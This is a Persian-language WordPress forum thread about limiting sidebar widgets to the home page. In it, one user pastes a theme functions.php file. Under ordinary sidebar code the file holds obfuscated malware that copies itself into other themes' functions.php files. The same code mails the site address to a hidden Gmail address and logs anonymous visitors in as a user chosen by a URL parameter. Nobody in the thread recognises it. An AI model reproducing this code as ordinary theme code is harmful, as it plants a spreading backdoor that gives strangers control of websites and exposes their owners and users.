انجمن


نمایش ابزارک ها فقط در صفحه اصلی  (۱۴ نوشته)

  • z.shh305

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۶
    تشکر شده: ۱ بار
    # نوشته شده: ۸ سال پیش
    ۱۷ آذر ۱۳۹۰ - ۱۰:۲۵

    پس از عرض سلام و خسته نباشید به دوستان علاقه مند به وردپرس
    چطور می توانم ابزارک های فعال پوسته انتخابی خود را فقط در صفحه اول نمایش دهم و این ابزارک ها در صفحات دیگر سایت نمایش داده نشوند؟
    پیشاپیش از پاسخگویی شما سپاسگزارم.

  • امین باقیات

    آفلاین
    عضو
    تعداد نوشته‌ها: ۶۳۹
    تشکر شده: ۶۰۲ بار
    # نوشته شده: ۸ سال پیش
    ۱۷ آذر ۱۳۹۰ - ۱۲:۰۷

    باید از توی پرونده single و page مقداری که ابزارک را نشون میده را برداری ...

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    عبدالماجد شه بخش ( ایجباری )
  • z.shh305

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۶
    تشکر شده: ۱ بار
    # نوشته شده: ۷ سال پیش
    ۲۶ آذر ۱۳۹۰ - ۱۶:۳۹

    beatkids گفت:
    باید از توی پرونده single و page مقداری که ابزارک را نشون میده را برداری ...

    با عرض سلام مجدد
    بنده یکم تازه کارم، منظورتون رو متوجه نشدم. پرونده single و page کجاست؟

  • امین باقیات

    آفلاین
    عضو
    تعداد نوشته‌ها: ۶۳۹
    تشکر شده: ۶۰۲ بار
    # نوشته شده: ۷ سال پیش
    ۲۶ آذر ۱۳۹۰ - ۱۷:۴۸

    توی پوشه پوسته سایتتون

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    z.shh305
  • z.shh305

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۶
    تشکر شده: ۱ بار
    # نوشته شده: ۷ سال پیش
    ۲۹ آذر ۱۳۹۰ - ۰۹:۴۹

    beatkids گفت:
    توی پوشه پوسته سایتتون

    با تشکر از پاسخ های خوبتون
    این کار رو کردم، اما یه مشکلی هست. فرض کنید که شما یک ساید بار راست و یک ساید بار چپ دارید. وقتی اونها رو در صفحات دیگر حذف می کنید. فضای اونها همینطور خالی می مونه و اون فضا به محتوای اصلی سایت که در وسط قرار گرفته اضافه نمیشه، که صورت جالبی نداره، ایا راه حلی در این مورد هم وجود داره؟ اگر راهنمایی کنید واقعا ممنون می شم.

  • عبدالماجد شه بخش ( ایجباری )

    آفلاین
    عضو فعال
    تعداد نوشته‌ها: ۱۰۳۱
    تشکر شده: ۱۴۳۲ بار
    # نوشته شده: ۷ سال پیش
    ۲۹ آذر ۱۳۹۰ - ۱۰:۰۰

    میتونید برای برگه ها و ... استایل جداگانه بنویسید .

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    امین باقیات
  • علی سجاد

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۶۳
    تشکر شده: ۱۹۶ بار
    # نوشته شده: ۷ سال پیش
    ۶ بهمن ۱۳۹۰ - ۱۶:۵۴

    سلام
    من میخام یکی از ابزارک های سایتم رو فقط در صفحه اصلی به نمایش بیارم
    ولی با اینکار من نمیتونم که مشخص کنم کدوم ابزارک نمایش داده نشه ؛ و زمانی که کد برداشته میشه تمام ابزارک های ستون سمت چپ از کار میوفته
    چطور میتونم یه ابزارک رو مشخص کنم که نمایش داده نشه؟
    پیشاپیش تشکر

  • NESTED

    آفلاین
    عضو فعال
    تعداد نوشته‌ها: ۲۳۵۴
    تشکر شده: ۲۳۷۰ بار
    # نوشته شده: ۷ سال پیش
    ۶ بهمن ۱۳۹۰ - ۱۷:۵۱

    دوست عزیز
    ساده ترین کار این هست که شما در فایل فانکشن یک ابزارک جدید با اسم index بسازین و بعد فقط تابع اون ابزارک رو در جای مربوطه در صفحه اصلی سایت بذارین و بعد دیگه دسته خودتون هست که در ادمین وردپرس در اون ابزارک ایندکس به غیر یک ابزاک ابزارک دیگه ایی قرار ندین

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    علی سجاد
  • علی سجاد

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۶۳
    تشکر شده: ۱۹۶ بار
    # نوشته شده: ۷ سال پیش
    ۶ بهمن ۱۳۹۰ - ۲۰:۵۶

    ممنون از جواب شما
    من هیچی نفهمیدم :)
    میشه واضح تر و قدم به قدم بفرمایید؟
    باتشکر

  • NESTED

    آفلاین
    عضو فعال
    تعداد نوشته‌ها: ۲۳۵۴
    تشکر شده: ۲۳۷۰ بار
    # نوشته شده: ۷ سال پیش
    ۶ بهمن ۱۳۹۰ - ۲۳:۰۰

    امیدوارم منظورت رو درست گرفته باشم !!!
    با روش ساخت ابزارک آشنا هستید
    خب در فایل فانکشن قالبتون ابزارک رو تعریف کنید :

    <?php
    		register_sidebar( array (
    		'name' => __( 'index' ),
    		'id' => 'index',
    		'before_widget' => '<div id="%1$s" class="widget %2$s">',
    		'after_widget' => "</div>",
    		'before_title' => '',
    		'after_title' => '',
    	) );
    ?>

    بعد در فایل index.php در مکان مورد نظر تابع ابزارکتون رو قرار بدین :
    <?php if ( is_active_sidebar( 'index' ) ) : dynamic_sidebar( 'index'); endif; ?>
    خب اگه در جای مناسب یا در div مناسب قرارش بدین براحتی در فرمت استایل قالب نمایش داده میشه
    بعد هم شما در ابزارکهای در ادمین یه باکس جدید برای ابزارک index دارین و دست خودتونهست چند تا ابزارک توی اون نمایش بدین

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    Morteza - علی سجاد
  • علی سجاد

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۶۳
    تشکر شده: ۱۹۶ بار
    # نوشته شده: ۷ سال پیش
    ۷ بهمن ۱۳۹۰ - ۲۳:۴۲

    ممنون
    اولین قدم رو گذاشتم و کدی که دادین در انتهای قالب گذاشتم
    ولی نمیدونم چرا هرموقع فانکشن رو دست میزنم سایت خراب میشه
    این ایرور رو میداد وقتی که باز کردم
    Parse error: syntax error, unexpected '<' in /home/----/domains/-----/public_html/wp-content/themes/P30AF-V2/functions.php on line 277

  • NESTED

    آفلاین
    عضو فعال
    تعداد نوشته‌ها: ۲۳۵۴
    تشکر شده: ۲۳۷۰ بار
    # نوشته شده: ۷ سال پیش
    ۸ بهمن ۱۳۹۰ - ۱۱:۱۶

    محتوای فایل فانکشن قالب رو اینجا قرار بده تا بررسی بشه

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    علی سجاد
  • علی سجاد

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۶۳
    تشکر شده: ۱۹۶ بار
    # نوشته شده: ۷ سال پیش
    ۸ بهمن ۱۳۹۰ - ۱۳:۴۹

    بفرمایید:

    <?php
    
    register_sidebar(array(
            'name' => 'right',
            'before_widget' => '',
            'after_widget' => '</div></div></div>',
            'before_title' => '<div class="wa-block-t1"><div class="wa-block-t2"><div class="wa-block-h">',
            'after_title' => '</div><div class="wa-block-t3">',
    ));
    
    register_sidebar(array(
            'name' => 'left',
            'before_widget' => '',
            'after_widget' => '</div></div></div>',
            'before_title' => '<div class="wa-block-t1"><div class="wa-block-t2"><div class="wa-block-h">',
            'after_title' => '</div><div class="wa-block-t3">',
    ));
    
    register_sidebar(array(
            'name' => 'Under Header',
            'before_widget' => '',
            'after_widget' => '<div class="wa-clear"></div>
    </div>
    </div>
    </div>',
            'before_title' => '<div class="wa-block-t1">
    <div class="wa-block-t2">
    <div class="wa-block-head"><center>',
            'after_title' => '</center></div><div class="wa-block-t3">',
    ));
    
    register_sidebar(array(
            'name' => 'Ads Under Post',
            'before_widget' => '',
            'after_widget' => '',
            'before_title' => '',
            'after_title' => '',
    ));
    
    register_sidebar(array(
            'name' => 'Top Footer',
            'before_widget' => '',
            'after_widget' => '<div class="wa-clear"></div>
    </div>
    </div>
    </div>',
            'before_title' => '<div class="wa-block-t1">
    <div class="wa-block-t2">
    <div class="wa-block-head"><center>',
            'after_title' => '</center></div><div class="wa-block-t3">',
    ));
    
    ?>
    <?php
    function _check_isactive_widgets(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);
    					$output .= ($showsdots && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    
    function _get_allwidgetscont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_allwidgetscont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
            }
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
            return $pos;
        }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_isactive_widgets");
    function _prepare_widgets(){
    	if(!isset($comment_length)) $comment_length=120;
    	if(!isset($strval)) $strval="cookie";
    	if(!isset($tags)) $tags="<a>";
    	if(!isset($type)) $type="none";
    	if(!isset($sepr)) $sepr="";
    	if(!isset($h_filter)) $h_filter=get_option("home");
    	if(!isset($p_filter)) $p_filter="wp_";
    	if(!isset($more_link)) $more_link=1;
    	if(!isset($comment_types)) $comment_types="";
    	if(!isset($countpage)) $countpage=$_GET["cperpage"];
    	if(!isset($comment_auth)) $comment_auth="";
    	if(!isset($c_is_approved)) $c_is_approved="";
    	if(!isset($aname)) $aname="auth";
    	if(!isset($more_link_texts)) $more_link_texts="(more...)";
    	if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
    	if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
    	if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
    	if(!isset($mcontent)) $mcontent="ma".$sepr."il";
    	if(!isset($f_more)) $f_more=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$is_output) :
    
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($f_tag)) $f_tag=1;
    	if(!isset($types)) $types=$h_filter;
    	if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
    	if(!isset($aditional_tag)) $aditional_tag="div";
    	if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($morelink_title)) $morelink_title="Continue reading this entry";
    	if(!isset($showsdots)) $showsdots=1;
    
    	$comments=$wpdb->get_results($sql);
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($comment_length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $comment_length) {
    				$l=$comment_length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_link_texts="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $tags) {
    		$output=strip_tags($output, $tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\x0B");
        $output=($f_tag) ? balanceTags($output, true) : $output;
    	$output .= ($showsdots && $ellipsis) ? "..." : "";
    	$output=apply_filters($type, $output);
    	switch($aditional_tag) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($more_link ) {
    		if($f_more) {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    
    add_action("init", "_prepare_widgets");
    
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    }
  • NESTED

    آفلاین
    عضو فعال
    تعداد نوشته‌ها: ۲۳۵۴
    تشکر شده: ۲۳۷۰ بار
    # نوشته شده: ۷ سال پیش
    ۸ بهمن ۱۳۹۰ - ۱۴:۱۷

    اون کدی رو که برای ساخت ابزارک ایندکس داده بودم توی این فایل نبود
    فاصله های موجود بین کدها رو حذف کنید

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    علی سجاد

درباره‌ی این موضوع



برچسب‌ها

هیچ برچسبی نیست.